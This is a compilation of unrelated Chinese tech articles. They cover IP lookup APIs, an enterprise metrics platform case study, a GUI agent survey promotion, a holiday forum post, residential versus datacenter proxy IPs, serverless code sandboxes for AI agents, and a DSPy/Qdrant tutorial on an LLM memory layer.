说实话,DB-IP 的免费 API 限制比较多精度在亚洲区域略保守,高并发下需要做缓存,否则很容易被限流,我一般是用API做实时查询

比较适合适合海外 SaaS

IPnews

使用场景比较特殊

IPnews我主要用在:

  • 风控规则补充
  • 异常IP快速判断
  • 是否数据中心/云厂商IP

它的API返回内容偏安全分析方向,不是单纯“这个IP在哪”。

运维视角的评价

优点:

  • 信息维度多
  • 对代理、云IP识别比较友好
    不足:
  • 接口返回字段多,解析成本略高
  • 更适合作为辅助判断,不适合高频调用

我的使用方式是主流程不用,命中规则后再调

作为运维,接入IP查询API的几个建议

年关总结下来,给几个血泪经验

永远不要只依赖一个 API

  • API 会限流
  • 会偶发超时
  • 会更新不及时

    日志分析场景,尽量“先解析再入库”

不要在查询时实时调用 API,压力和成本都不划算。

不同工具,定位不同角色

  • IP 数据云:主力生产接口
  • DB-IP:海外/补充
  • IPnews:安全与异常判断

写在最后

IP 查询工具在系统里永远不是“主角”,但它们的稳定性,直接决定了你半夜会不会被叫醒。这篇算是我作为运维,对IP 查询 API 的一次年终复盘,如果你也有其他用得顺手(或踩过坑)的工具,欢迎一起交流。

在住建部与国资委监管趋严、国务院发布“人工智能+”行动意见的双重背景下,作为中交集团核心单位,中交一公局正全力践行“数字一局”战略愿景,重点开展“信息化管控、智能化生产、数据治理、网络安全保障、数字化基础设施建设”五项任务,加速驱动经营管理向“精细化、智能化”转型。

值此“十五五”开局的关键期,中交一公局长期以来形成的“分散式”式数据管理模式,一定程度制约了工程管理效率提升和决策质量优化。如何建设一套能够打通“数据孤岛”、提升分析决策效率、保障数据质量的统一数据分析服务平台,并实现“Data + AI”智能问数,成为中交一公局亟需破解的核心课题。

分散式管理之痛:数据“看得到”却“用不好”

目前,中交一公局已沉淀数据体量 5.6TB,涵盖 869 张物理表,数据记录 34.25 亿条。但这些数据多分散在不同的业务系统之中,如项目管理、造价管理、物资管理等,独立运行造成“数据孤岛”林立,难以形成连贯的数据链,统一数据分析服务推进困难。这种传统的“分散式”数据管理模式,在数据开发、指标管理、异常归因分析及“Data + AI”的落地方面也造成阻碍:

一、人工 ETL 制约分析决策效率。数据开发高度依赖人工 ETL 和相关工具,由专业数据团队集中开发,通常经历“需求沟通、口径确认、排期开发、测试上线”等多个环节,周期以“天”甚至以“周”为单位。如某个环节出错,还需反复沟通、重复开发,流程无限加长。

二、指标分散建设导致口径不一致。缺乏统一的指标标准与管理机制,工程进度、质量、安全、成本等关键指标由不同系统、不同部门独立定义。同一指标在财务部和生产部中因为算法不同,导致口径不一致,不仅增加了沟通成本,也削弱了数据可信度,极大增加决策风险。

三、分析深度不足,异常溯源困难。现有的报表系统多为结果呈现,对数据异常缺乏深层次的归因分析与溯源能力。当经营数据出现异常时,业务人员往往需要反复人工拆解维度、比对数据,根因定位效率低、准确性不足,难以及时采取补救措施,将风险的影响限制在最小范围内。

四、“Data + AI”落地“幻觉”风险。落地智能问数,主流的 NL2SQL 技术路径难以处理复杂的表关联和业务术语歧义,且模型缺乏对业务上下文的理解,易生成错误关联,常出现同一问题答案不一致的“幻觉”现象,无法保障查数准确率,“Data + AI”在核心经营决策场景中的落地受阻。

上述问题的叠加,使得中交一公局迫切需要构建统一、标准、可信的数据分析服务平台,并在此基础上探索全新技术路径,真正实现“可用、可信、可控”的“Data + AI”落地新范式。

指标立基:基于 Aloudata CAN 打造统一数据分析服务平台

为了破局,中交一公局牵手 Aloudata 大应科技,通过引入 Aloudata CAN 指标平台,构建起统一的数据分析服务平台,实现了从“看数据”到“看指标”的范式转移,解决了开发效率低和口径不一致等问题。

通过该平台,业务人员能够以配置化的方式定义指标,实现指标的业务逻辑与物理底表解耦,从依赖数据团队“写 SQL”转为自主按需分析的“建指标”和拖拽分析看板,将开发周期从“天级”甚至“周级”压缩到“分钟级”。同时,指标一次定义,即可在业务系统、报表、BI、AI 等场景复用,大幅减少重复开发工作。

该平台以“指标资产化”为核心,将经营管理中使用的各类统计口径统一沉淀为标准化、可管理、可复用的指标资产,并支持通过 JDBC、API 等服务模式,将指标资产共享给各个业务系统。业务人员无论在哪个分析场景查看,同一指标口径始终保持 100% 一致,打破系统与部门壁垒,消除“数据扯皮”现象。

在该平台的支持下,中交一公局结合工程管理和经营决策特点,梳理出市场经营、生产运营、投资与财务等核心业务主题,构建起覆盖“战略、策略、执行”的 T1/T2/T3 指标分层体系:

  • T1 战略层(核心层):聚焦企业整体经营成果与发展质量,如新签合同额、营业收入、利润总额、净资产收益率等,用于支撑集团与公司层面战略决策;
  • T2 策略层(业务层):聚焦生产效率、运营能力与风险管控,如生产安全责任事故数、验收合格率及环保数据等,支撑管理层过程监控,赋能日常经营管理;
  • T3 执行层(创效层):细化至投资项目预算管理、资产负债管理、现金流管理等,跟进执行效果。

结合 Aloudata CAN 的指标波动多维分析模块和指标树模块,平台进一步实现了深层次的归因分析和指标血缘能力。当核心指标发生异常波动时,可自动联动相关维度与关联指标,辅助业务人员快速定位影响维度与因子,结合血缘追溯功能,还可让异常数据背后的逻辑一目了然。此外,通过阈值监控与预警机制,平台可在风险早期进行告警通知,帮助业务人员实现从“事后救急”向“事中监控、事前预警”的转变,为管理决策提供了更具前瞻性的支撑。

通过共建统一的数据分析服务平台,中交一公局现已在集团层面形成了稳定、标准、可信的数据底座,为“Data + AI”智能问数的落地奠定了坚实基础。

智能进阶:引入 Aloudata Agent 构建智能数据分析助手

在此基础上,中交一公局通过引入 Aloudata Agent 分析决策智能体,构建智能数据分析助手,以自然语言交互驱动分析决策提效。该助手采用 NL2MQL2SQL 技术路径,以“NoETL 指标语义层 + 多 Agent 协同”架构为支撑,帮助中交一公局顺利走出了大模型“幻觉”困境。

相较于 NL2SQL 技术路径,NL2MQL2SQL 先精准识别业务意图,随后结合语义知识库智能转换为指标查询语言 MQL,再由指标语义引擎生成 100% 准确的 SQL 语句,最终返回查询结果。这个过程意味着大模型是在“指标语义层”进行理解和推理,而非直接操作数据表,从机制上直接避免了错误关联与数据编造问题,从而保障了查询准确率。这也使中交一公局的“Data + AI”智能问数在工程建设行业央国企经营管理场景中率先实现落地的可靠性。

智能数据分析助手由三层架构协同支撑,实现智能交互:

  • 基础设施层:集成 DeepSeek、通义千问等大模型,提供强大的算力基础;
  • 语义引擎层:构建动态指标语义库,统一定义和管理原子指标、维度、计算规则,并融合企业内部业务术语与“黑话”构建业务知识库,让 AI 真正“听得懂业务”;
  • 应用层: 通过规划 Agent、查询 Agent、解读 Agent 的多智能体分工协同,实现“智能问数、口径问答、自动归因、数据解读”等核心功能。

有了智能数据分析助手,业务人员不再需要学习复杂的 SQL 或等待报表开发。通过直接的自然语言提问,如“去年 A 项目新签合同额的波动原因是什么?”,智能助手即可自主拆解问题、调用指标语义层查询、执行归因算法,最后输出包含自然语言结论和可视化图表的归因分析报告,显著提升分析效率。

多场景实践:分析提效、风险可控、成本下降

如今,“指标底座 + 智能助手”的“双引擎”已在法务、市场营销、财务等业务场景试点应用,为中交一公局带来了显著的价值增量:

  • 分析提效,决策响应质变:在如“合同签订-财务结算-法律风险评估”联动分析场景,80% 的查数需求由业务人员自主完成,决策周期从原来的 3-5 天缩短至分钟级,响应效率提升 90%,跨部门协作周期缩短 40%;
  • 精准可信,告别“幻觉”:通过指标语义层的约束,确保指标口径 100% 一致,智能问数多表关联查询准确率在 92% 以上,且多轮对话准确率达 85%。而在复杂的归因分析中,业务问题定位准确率达 95%,真正实现了数据可信可用;
  • 成本下降,资产利用率提升:重复开发和低效 ETL 大幅减少,跨部门沟通成本降低 30%,算力资源成本预计节约 50%,数据资产利用率提升 30%。

通过这一标杆性的实践,中交一公局不仅在技术上实现了“Data + AI”的深度融合,更构建起以数据驱动、以智能辅助决策的新型经营管理模式,为央国企的数字化转型提供了可参考复制的实践样本。该案例近期荣获 2025 年第三届星空奖·数智技术系列榜单“年度技术最佳实践奖”。

未来规划:

关于未来,中交一公局将重点聚焦两大能力建设:

一、深度分析报告生成。依据集团数据和指标/维度语义信息、历史分析思路、行业术语等非结构化知识,让大模型更懂业务,自动化生成更具洞察力、内容更丰富的深度分析报告;

二、用户反馈/机器评估反馈驱动的智能体进化。收集、理解和学习业务使用过程中的直接反馈,以及大模型对生成结果的评估学习,实现更精准的需求理解、分析流程优化和结果呈现的智能体改进。

在 GUI Agent 狂飙突进的今天,我们见过太多“大场面”:有人在朋友圈秀丝滑操作,也有人在后台默默修复被 AI 误删的根目录。
当 Agent 从“只会聊天”进化到“接管屏幕”,我们发现:比起更强的模型,大家更缺一个安全、稳定、玩不坏的“执行沙箱”。
今天,我们来干一件很朴素但很快乐的事:做一份超轻量小调研,收集大家对“GUI Agent”和“沙箱”相关的真实反馈。顺便,给大家发点春节宠粉福利。
放心,不是考试。题目不多,5 分钟内轻松搞定。
不论你是 Lybic 的深度用户,还是围观过豆包手机刷屏的极客开发者,我们都想听听你的声音:在探索 GUI Agent 的路上,你被哪些坑狠狠“教育”过?你最希望哪个能力先变靠谱?

行动指南

1)扫描海报上的二维码并完成问卷:获取 1 次抽奖机会,中奖率 100%
2)将本文分享至朋友圈,截图发给小助手:额外获取 1 次独立奖池的抽奖机会
每人最多 2 次机会,重复提交无效,望大家能够分享最真实的感受和见解。

奖品池

一等奖:小米 YU7 1:18 合金车模
二等奖:无线机械键盘 87 键 红轴
三等奖:三合一快充数据线四等奖:Lybic 周边+极客抽象贴纸
分享奖:小米 YU7 1:64 合金车模
调研截止日期为 2026年2月28日,所有奖品将在活动结束后统一寄出

我们会拿这些反馈做什么

我们拒绝“填完就沉”的调研,活动结束后,我们会把结果做成一张“调研简报”:
吐槽最狠的点 Top 3
最期待的能力 Top 3
... ...

让吐槽不白吐,让你的每一个痛点,都变成代码优化的起点。也希望能带给探索 GUI Agent 的同路人们更多的灵感和思考。
来吧,把你的真实体验交出来。

图片

你好,V 友。又过了一年了,不知道你是否完成了某个成就,不知道你是否完成了自己的目标。
无论过去这一年是快乐还是难过,是轻松还是疲惫,辛苦了,过年期间好好休整下,明年再出发吧。
不知道这个年,你有什么打算,是回家与爸妈吃一顿年夜饭,还是在异乡给自己放个假,还是来一场快乐的旅行。
亦或是好好的看个剧或者玩个一直想玩的游戏。
购物车里那躺了许久的东西,要不买来奖励自己。
我因为 https://www.v2ex.com/t/1187514 才意识到手里的键盘已经 10 年了。
于是我给自己换了新的键盘,准备今年回去见下几年没见的老人。

V 友你又有怎样的打算呢,无论如何记得给自己说一声辛苦了,新年快乐。

在代理IP的实际应用中,动态住宅IP与动态数据中心IP经常被放在一起做比较。两者都具备“可轮换”的特点,但来源、稳定性、匿名性以及适用场景却存在明显差异,接下来就跟着IPDEEP小编一起来看看吧!
动态住宅IP与动态数据中心IP有什么不同?

1.IP来源不同

动态住宅IP来自真实家庭网络运营商,也就是普通用户在家中上网所使用的IP地址。这类的IP在互联网上被识别为“自然流量”,与真实用户的行为环境更加接近。

动态数据中心是来自云服务器或机房,由IDC服务商统一分配和管理,它们并不绑定真实住户,因此在某些风控系统中更容易被识别为代理或自动化访问来源。

一句话概括:住宅IP更像“人”,机房IP更像“机器人”。

2.稳定性和可控性

动态数据中心IP在稳定性方面通常更好。机房网络环境标准化,延迟低、宽带充足,适合对速度和连续性要求高的任务,比如大规模数据抓取、接口请求等。

动态住宅IP的稳定性跟家庭网络有关。不同地区、不容运营商的质量差异会比较明显,偶尔会出现波动。但这类的“自然波动”更贴近真实用户。

3.价格差异

由于获取成本高、资源稀缺等,动态住宅IP的价格一般会高于动态数据中心IP。

如果只是普通访问需求,选择数据中心IP可以有效控制成本;但如果业务对IP“真实性”要求比较高,那么住宅IP往往更值得投入。

4.匿名性与信任度

在风控愈发严格的今天,网站往往会根据IP的信誉度来判断访问是否安全。

住宅IP因为与真实网络环境一致,通常拥有更高的信誉分,触发验证或限制的概率相对较低。数据中心IP虽然干净、速度快,但由于使用者多、集中度高,一旦某个网段被大量用户爬虫或批量操作,就可能整体被重点监控。

5.轮换方式

两者都支持IP更换,但逻辑不同。住宅IP的变更通常依赖运营商重新分配,可能按时间、会话或指定规则轮换;数据中心IP的切换则更加灵活,可以快速、大量地生成和替换。

6.该怎么选?

并不存在绝对更好的类型,关键在于你的目标。如果平台的审核比较严格,希望降低触发验证的概率,优先考虑住宅IP;如果追求速度、规模和成本效率,数据中心IP往往更具优势。

作者:柳下

引言:安全沙箱与 Serverless 的技术交汇

随着大语言模型(LLM)从“对话框”走向“行动体(Agent)”,其能力边界正在迅速扩张。现代 AI Agent 不再是文字的搬运工,而是能够自主思考、调用工具、甚至编写并运行代码以解决复杂问题的智能助手。然而开发者始终面临一个根本性挑战:如何在保证执行效率的同时,实现资源强隔离与资源可控性?

阿里云函数计算 FC 为这一难题提供了全新的解题思路。其底层基于轻量级安全沙箱,天然具备进程级隔离、资源极致伸缩、按需付费等特性。这种架构与 Agent 对代码执行环境的需求高度契合,使得构建高密度、低成本、安全可靠的 Agent 运行时成为可能。

为什么需要 Agent 代码沙箱?

Agent 的核心价值在于其“自主执行”能力,而代码执行是实现这一能力的关键路径。在工具调用、动态数据分析、自动化任务处理等典型场景中,Agent 生成的代码往往来自不可信的推理过程,若缺乏有效的沙箱保护,开发者将面临多重风险,为此 AI 开发者对运行时有着如下多个核心诉求:

  • 安全与隔离特性:必须确保不同用户的 Agent 代码在文件系统、网络访问上完全隔离,严防恶意指令注入导致的越权操作。
  • 资源管理控制:代码缺陷或恶意行为可能导致 CPU/内存耗尽。系统需要能够对单个执行任务进行精细化的资源配额限制。
  • 生命周期管理:Agent 任务存在短时型突发、长周期会话等多种任务模型,需提供灵活生命周期管理能力。
  • 按资源消耗计费:若简单按实例运行时长计费,在长周期交互场景下,用户将为大量的“等待时间”支付不必要的费用。需在用户成本控制与平台资源利用率之间寻找平衡点。

由此可见,构建一个强隔离、可管控、即开即用且按需回收的代码执行环境——Agent 代码沙箱,已成为 AI 应用架构中的刚需。

为什么是Serverless?函数计算的核心优势

在众多技术路线中,Serverless 函数计算凭借其天然的“沙箱基因”,成为了构建 Agent 运行时的理想底座:

1. 底层安全隔离: 主流云厂商的函数计算服务普遍采用 MicroVM 或强化容器技术作为执行单元。每个函数实例运行在一个轻量级、启动迅速的 MicroVM 中,具备完整的内核隔离。这种架构从进程、内存、文件系统等多维度实现安全保障。

2. 极致的弹性伸缩: Agent 的请求模式具有高度不确定性。函数计算的毫秒级扩缩容能力,让开发者无需担心容量规划,轻松应对从零到万级并发的波动。

3. 按量付费的经济性: 传统常驻服务无论是否处理请求,均持续产生费用。而函数计算采用“用多少付多少”的计费模式,极大降低用户成本。(下文也将介绍 AI 场景下如何实现经济计费)

4. 简化的运维体验: 函数计算将基础设施管理完全托管给云平台,开发者只需关注代码逻辑,这种“代码即服务”的模式,极大加速了 AI 业务的迭代与上线周期。

5. 异构算力支持: 针对图像处理、音视频编解码等高性能场景,函数计算成熟的 GPU 实例支持,为 Agent 提供了更广阔的技能空间。

产品化实践:基于函数计算构建沙箱能力

为了将通用的函数计算转化为专业的 Agent 运行时,我们不仅需要底层的隔离,更需要在协议层、会话层和调度层进行深度重构。

1. 协议扩展:定义多元化业务的接入标准

Agent 的交互模式远比传统 Web 应用复杂。为了让 Agent 沙箱能够无缝嵌入现有的 AI 生态,我们针对不同场景实现了协议适配:

1. 针对工具生态:支持 MCP SSE 与 Streamable 协议

随着 Model Context Protocol (MCP) 成为 Agent 工具调用的事实标准,函数计算在网关层实现了兼容标准的 MCP 协议,这意味着可以在函数计算平台实现一键托管 MCP 服务。

2. 针对 Web/Browser Agent:支持标准 Cookie 协议

Browser Agent 需要模拟登录状态或维持持久化的 Web 会话。函数计算的接入层通过实现兼容标准 Cookie 协议,使得沙箱环境能够保持与目标网站的交互状态,支持复杂的自动化操作。在用户首请求时,服务端将生成全局唯一的 CookieID 并通过 Response 中的 Set-Cookie 字段返回,后续请求用户仅需携带相同 CookieID 便实现定向路由。

3. 针对灵活接入:定义统一 Header Field 协议

在基于 Header Field 的会话亲和机制中,仅需客户端通过在 HTTP Header 中注入特定的元数据。函数计算系统网关会解析请求头中的会话 ID,并将其作为路由键,确保携带相同会话 ID 的后续请求被精准路由到同一函数实例。这种方式不依赖客户端状态(如 Cookie),可以应用在任何客户端以 HTTP 协议交互的业务场景中。

image

2. 底座能力:构建有状态的会话管理

在解决了协议层“如何接入”后,接下来的挑战是如何在无状态的 FaaS 架构上,构建“有状态”的会话体验。

2.1 会话生命周期管理

Agent 的执行往往不是一次性的,而是多轮对话,为此需要赋予会话生命周期管理能力,如下图所示,系统提供用户主动、系统自动两种能力实现灵活、完整的管理机制:

1. 用户主动管理

a. 续期:面对 Agent 执行逻辑的不确定性,在生命周期配置上通常很难做到“一次性设对”。期间为延续状态的连续性,避免任务中断,可通过 Update API 实现对 Session TTL/IdleTimeout 的续期,主动延长沙箱寿命,续期后会话仍处于活跃状态且继续可用。

b. 销毁:显式通过 Delete API 删除会话,实现提前销毁释放资源。

2. 系统自动管理

a. Session TTL:会话达到 TTL(最大存活时长上限)后,无论是否仍在使用,平台都会自动回收资源。

b. Session IdleTimeout:会话在 IdleTimeout 规定时间内没有活动,平台判定为空闲并自动回收。

两类方式最终都会走到生命周期结束 → 会话销毁 → 关联资源释放。

image

2.2 会话亲和能力

这是将 FaaS 转化为“AI 运行时”的关键。通过会话亲和,我们保证了 Agent 上一轮生成的中间变量、本地文件在下一轮交互中依然可用。

image

整个流程分为用户首请求和非首请求,以 HeaderField 为例:

会话初始化流程(首请求)

  1. 发起请求:Client(客户端)向 Gateway(网关)发送请求,并在 Header 中携带特定的 x-fc-session-id,用于标识该请求属于哪个 Agent 会话。
  2. 生成内部 ID:Gateway 接收请求后,对 session_key 进行哈希处理,生成一个系统内部使用的 internal_session_id。
  3. 查询会话状态:Gateway 向 MetaDB(元数据库)发起查询,核实该 session_id 是否已经存在(即是否已经有对应的运行实例)。
  4. 未命中处理:MetaDB 未搜到到相关信息,表明这是一个新会话,或者之前的会话已失效,需要重新分配资源。
  5. 触发调度:由于是新会话,Gateway 随机选择一个 Scheduler(调度器)节点,请求为该会话分配计算资源。
  6. 分配实例:Scheduler 根据当前资源情况,从资源池中分配一个可用的 VM 实例(即沙箱环境)。
  7. 持久化映射关系:Scheduler 将 session_id 与分配到的 instance(实例)的对应关系写入 MetaDB。这样后续携带相同 ID 的请求就能实现“会话亲和性”,直接路由到该实例。
  8. 路由响应:Scheduler 将实例的路由信息返回给 Gateway。
  9. 返回首包:Gateway 完成链路建立,将处理后的首包数据返回给 Client。至此,该 Agent 会话正式建立,后续交互将直接复用此路径。

image

热请求数据流程

  1. 发起请求:Client(客户端)发起请求,并在 Header 中携带已有的 x-fc-session-id。
  2. 查询会话记录:Gateway(网关)接收请求后,前往 MetaDB(元数据库)查询该 Session ID 对应的记录。
  3. 返回映射信息:MetaDB 返回该会话之前绑定的 Instance(实例)信息以及负责管理该实例的 Target Scheduler(目标调度节点)。
  4. 直连调度节点:Gateway 根据返回的信息,直接联系对应的 Target Scheduler。
  5. 确认路由实例:Target Scheduler 告知 Gateway 该实例有效,可以进行数据转发。
  6. 转发请求:Gateway 将客户端的业务请求转发给对应的 Instance。
  7. 处理并响应:Instance(Agent 沙箱)执行代码逻辑处理请求,并将结果返回给 Gateway。
  8. 返回业务数据:Gateway 将最终的执行结果回传给 Client,完成一次有状态的会话交互。

image

2.3 会话隔离能力

为了极致的安全,我们引入了“一会话一实例”的隔离模型。每个 Agent Session 独占一个底层的运行实例。一旦会话结束,实例立即销毁并擦除数据。通过会话配额控制,可以有效防止单个用户创建过多沙箱导致资源过载。

image

3. 扩展配套能力,强化 Agent 底座

除了核心的调度与协议,针对生产环境中的性能与成本挑战,我们进一步扩展了配套能力:

1. 预热能力

冷启动是 Serverless 的天敌。针对 Agent 实时交互的要求,我们支持 CreateSession 主动预热。在用户刚进入对话页面时,系统提前准备好预留实例。将沙箱的就绪时间压缩至极低延时。

2. 会话级存储隔离

Agent 经常需要读写文件。我们实现了会话维度的动态存储挂载。每个沙箱可以根据 Session ID 动态挂载独立的 NAS 或 OSS 路径。这样既保证了数据在会话内的持久化,又确保了不同会话间的文件系统是物理隔离的。同时满足沙箱异常 Crash 后数据的可恢复。

3. 计费升级模型进化:从 FaaS 的“按请求”到“按资源消耗”

FaaS 按请求计费模式,在 AI 场景下会产生巨大的“保活成本”。会话计费模型必须与资源的实际使用强挂钩,因此系统针对会话函数的计费模式升级到 Serverless AI 计费模式。

  • 活跃期:当会话实例正在处理用户请求时,按照活跃单价计费。
  • 空闲期:当会话处于空闲、仅维持连接和上下文状态时,系统切换到一个极低的“保活”费率。仅收取内存、磁盘的费用,不再收取相对较高的 CPU 费用。

这个模式对客户而言,相对传统常驻实例完整生命周期计费模式成本大幅降低。

总结与展望

Serverless 函数计算凭借其安全隔离、弹性伸缩、按需付费等基因,正成为构建 Agent 运行时的理想选择。通过协议生态扩展、会话管理能力增强、配套能力完善,我们已实现从“单一函数执行”到“复杂 Agent 托管平台”的跨越。未来,我们也将持续聚焦启动优化、更长会话支持等等核心能力,做好 AI 原生时代坚实的护航者。

相关链接:

[1] 查看更多产品详情

https://www.aliyun.com/product/fc

[2] 相关文档链接

https://help.aliyun.com/zh/functioncompute/fc/user-guide/sess...

全文链接:https://tecdat.cn/?p=44952
原文出处:拓端数据部落公众号

封面

专题:LLM上下文工程实践:轻量化记忆层构建与落地

引言

在大语言模型(LLM)的实际应用过程中,对话类场景是落地频率最高的方向之一,而这类场景的核心痛点在于LLM的无状态特性——每次模型调用都是独立的过程,若未主动传入历史会话信息,模型无法感知用户的过往交互内容。这一特性虽然保障了模型并行处理的效率和安全性,却成为个性化对话应用落地的最大阻碍:如果智能客服每次都将用户视为新访客,又如何提供贴合用户需求的个性化响应?
从技术演进的角度来看,早期开发者尝试通过延长上下文窗口的方式解决记忆问题,但这种方式不仅受限于模型的上下文长度,还会显著增加调用成本;而随着向量数据库和智能体技术的成熟,为LLM构建独立的记忆层成为更优解。本文基于Mem0架构的核心思想,从零拆解并实现一套轻量化的LLM记忆层,该方案已在金融智能客服、电商个性化助手等实际业务场景中得到验证。
本文内容改编自过往客户咨询项目的技术沉淀并且已通过实际业务校验,该项目完整代码与数据已分享至交流社群。阅读原文进群,可与800+行业人士交流成长;还提供人工答疑,拆解核心原理、代码逻辑与业务适配思路,帮大家既懂 怎么做,也懂 为什么这么做;遇代码运行问题,更能享24小时调试支持。

LLM记忆层:从上下文工程视角的核心拆解

上下文工程是指为LLM补充完成任务所需的全部相关信息的技术体系,而记忆层构建是上下文工程中难度最高、应用价值最大的方向之一。

LLM本身并不具备记忆能力,要实现会话记忆,开发者需要掌握上下文工程的核心技术栈:从原始文本流中提取结构化信息、文本摘要生成、向量数据库应用、查询生成与相似性检索、查询后处理与重排序、智能体工具调用等。而构建自定义记忆层的过程,正是这些技术的综合落地过程。

记忆层的整体架构设计

一套可落地的LLM记忆层需具备四大核心能力:提取、嵌入、检索与维护。在开始代码实现前,先梳理各模块的核心职责与交互逻辑。

核心模块拆解
  • 记忆提取:从用户与助手的对话文本中提取具备原子性的候选记忆信息;
  • 向量存储:将提取的原子化记忆转换为向量形式,并存储到向量数据库中;
  • 记忆检索:当用户发起查询时,生成检索语句并从向量库中匹配相关记忆;
  • 记忆维护:基于ReAct(推理与执行)循环,智能判断对现有记忆的增、删、改或无操作,解决记忆冲突与过时问题。

    需要特别说明的是,上述所有步骤都应设计为可选流程:若LLM无需调用历史记忆即可回答用户问题,则无需触发向量库检索,以此降低系统开销。核心策略是为LLM提供完成任务所需的全部工具,并清晰定义工具功能,依托LLM自身的智能自主决策工具的使用时机。

基于DSPy的记忆提取:从对话文本到原子化记忆

记忆提取是记忆层构建的第一步,核心目标是将非结构化的对话文本转换为结构化、原子化的记忆单元,以便后续的嵌入与检索。

原子化记忆的定义与提取目标

优质的记忆单元应具备“短、自包含、原子化”的特征——即单个记忆仅描述一个独立事实,且能被精准嵌入和检索。我们的目标是构建一个面向单用户、持久化的向量数据库记忆库,而DSPy框架能高效实现从对话文本到原子化记忆的提取(DSPy为Python开源库,国内可正常安装使用,无访问限制)。
DSPy通过“Signature(签名)”定义输入输出结构,其注释会作为系统提示词引导LLM完成结构化信息提取。以下是核心实现代码(已调整变量名与语法,省略部分基础导入代码):

# 省略json、asyncio等基础导入代码import dspyfrom pydantic import BaseModel# 定义记忆提取的签名结构class UserMemoryExtract(dspy.Signature): """从对话文本中提取有价值的用户记忆信息。记忆需为独立的原子化事实,若文本无提取价值则返回空列表。""" dialog_text: str = dspy.InputField() # 输入:对话文本 user_memories: list[str] = dspy.OutputField() # 输出:提取的记忆列表# 初始化记忆提取器memory_extract_tool = dspy.Predict(UserMemoryExtract)# 异步提取记忆的核心函数async def get_user_memories(dialog_messages): # 将对话消息转换为JSON字符串作为输入 dialog_json = json.dumps(dialog_messages) # 指定调用的模型并执行提取(省略模型配置相关代码) with dspy.context(lm=dspy.LM(model=MODEL_TYPE)): extract_result = await memory_extract_tool.acall(dialog_text=dialog_json) # 返回提取的记忆列表 return extract_result.user_memories

为验证提取效果,我们基于模拟对话文本测试(已调整变量名与示例内容):

if __name__ == "__main__": # 模拟用户与助手的对话记录 test_dialog = [ { "role": "user", "content": "我喜欢喝咖啡" }, { "role": "assistant", "content": "好的,我记下了!" }, { "role": "user", "content": "其实我更喜欢喝茶,另外我也喜欢踢足球" } ] # 执行记忆提取 extracted_mem = asyncio.run(get_user_memories(test_dialog)) print(extracted_mem)'''输出结果示例:[ "用户原本喜欢咖啡,后表示更喜欢茶", "用户有喝茶的偏好", "用户喜欢踢足球"]'''

从测试结果可见,该方案能有效从对话中提取原子化记忆,这些记忆可脱离会话窗口存储到独立数据库中,为跨会话记忆提供基础。


相关文章

Python用langchain、OpenAI大语言模型LLM情感分析AAPL股票新闻数据及提示工程优化应用

原文链接:https://tecdat.cn/?p=39614


记忆的向量嵌入与存储:基于QDrant的实现

提取原子化记忆后,需将其转换为向量形式存储,本文选用QDrant作为向量数据库(QDrant为开源向量数据库,国内可正常部署使用,无访问限制;国产替代方案可选用Milvus、Zilliz等)。

嵌入模型选择与向量维度优化

考虑到成本、速度与短文本嵌入效果,本文选用OpenAI的text-embedding-3-small模型(国内无法直接访问OpenAI官网,但可通过合规第三方API服务商调用;国产替代方案可选百度文心一言嵌入、阿里通义千问嵌入、智谱AI嵌入等),并将向量维度固定为64,在保证表达能力的同时降低存储成本与检索耗时。
核心实现代码(调整变量名与语法,省略部分导入代码):

# 省略uuid、datetime等基础导入代码from openai import AsyncClientfrom qdrant_client import AsyncQdrantClientfrom qdrant_client.models import Distance, Filter, models# 初始化OpenAI异步客户端emb_client = AsyncClient()# 异步生成文本向量async def create_text_embeddings(text_list: list[str]): # 调用嵌入模型生成向量,指定维度为64 emb_result = await emb_client.embeddings.create( input=text_list, model="text-embedding-3-small", dimensions=64 ) # 提取向量结果 embeddings = [item.embedding for item in emb_result.data] return embeddings# 定义向量存储的数据结构class StoredMemory(BaseModel): user_identity: int # 用户ID memory_content: str # 记忆文本 create_time: str # 创建时间 vector_data: list[float] # 向量数据# 初始化QDrant异步客户端(省略客户端连接配置代码)qdrant_async_client = AsyncQdrantClient(...)MEMORY_COLLECTION = "user_memories"# 创建向量库集合与索引async def init_memory_collection(): # 检查集合是否存在,不存在则创建 if not (await qdrant_async_client.collection_exists(MEMORY_COLLECTION)): await qdrant_async_client.create_collection( collection_name=MEMORY_COLLECTION, vectors_config=models.VectorParams(size=64, distance=Distance.DOT), ) # 为用户ID创建索引,提升检索效率 await qdrant_async_client.create_payload_index( collection_name=MEMORY_COLLECTION, field_name="user_identity", field_schema=models.PayloadSchemaType.INTEGER )# 插入记忆到向量库(省略参数校验代码)async def add_memories_to_db(memory_list: list[StoredMemory]): """将记忆列表插入向量数据库""" # 构造插入的点数据 point_list = [ models.PointStruct( id=uuid4().hex, # 生成唯一ID payload={ "user_identity": mem.user_identity, "memory_content": mem.memory_content, "create_time": mem.create_time }, vector=mem.vector_data ) for mem in memory_list ] # 执行插入 await qdrant_async_client.upsert( collection_name=MEMORY_COLLECTION, points=point_list )# 检索相似记忆(省略结果转换函数代码)async def find_similar_memories( search_vector: list[float], user_id: int, top_k: int = 5): """根据向量检索用户的相似记忆""" # 构造用户ID过滤条件 filter_conditions = [ models.FieldCondition( key="user_identity", match=models.MatchValue(value=user_id) ) ] # 执行检索 search_result = await qdrant_async_client.query_points( collection_name=MEMORY_COLLECTION, query=search_vector, with_payload=True, query_filter=Filter(must=filter_conditions), score_threshold=0.1, # 相似度阈值 limit=top_k ) # 转换检索结果(省略convert_search_result函数实现) return [convert_search_result(point) for point in search_result.points if point is not None]

为提升检索效率,我们为用户ID字段创建了索引,该思路可扩展到记忆分类标签、时间范围等元数据维度——只需为对应字段创建索引即可,这在电商个性化推荐、金融客户画像等实际场景中能显著提升检索精准度。

基于ReAct框架的记忆检索与响应生成

记忆检索的核心是让智能体自主判断是否需要调用记忆,并检索相关内容辅助响应生成。本文基于DSPy构建ReAct智能体,实现检索逻辑的自主决策。

响应生成的核心实现

首先定义响应生成的输入输出结构,引导LLM判断是否需要保存新记忆(调整变量名与语法):

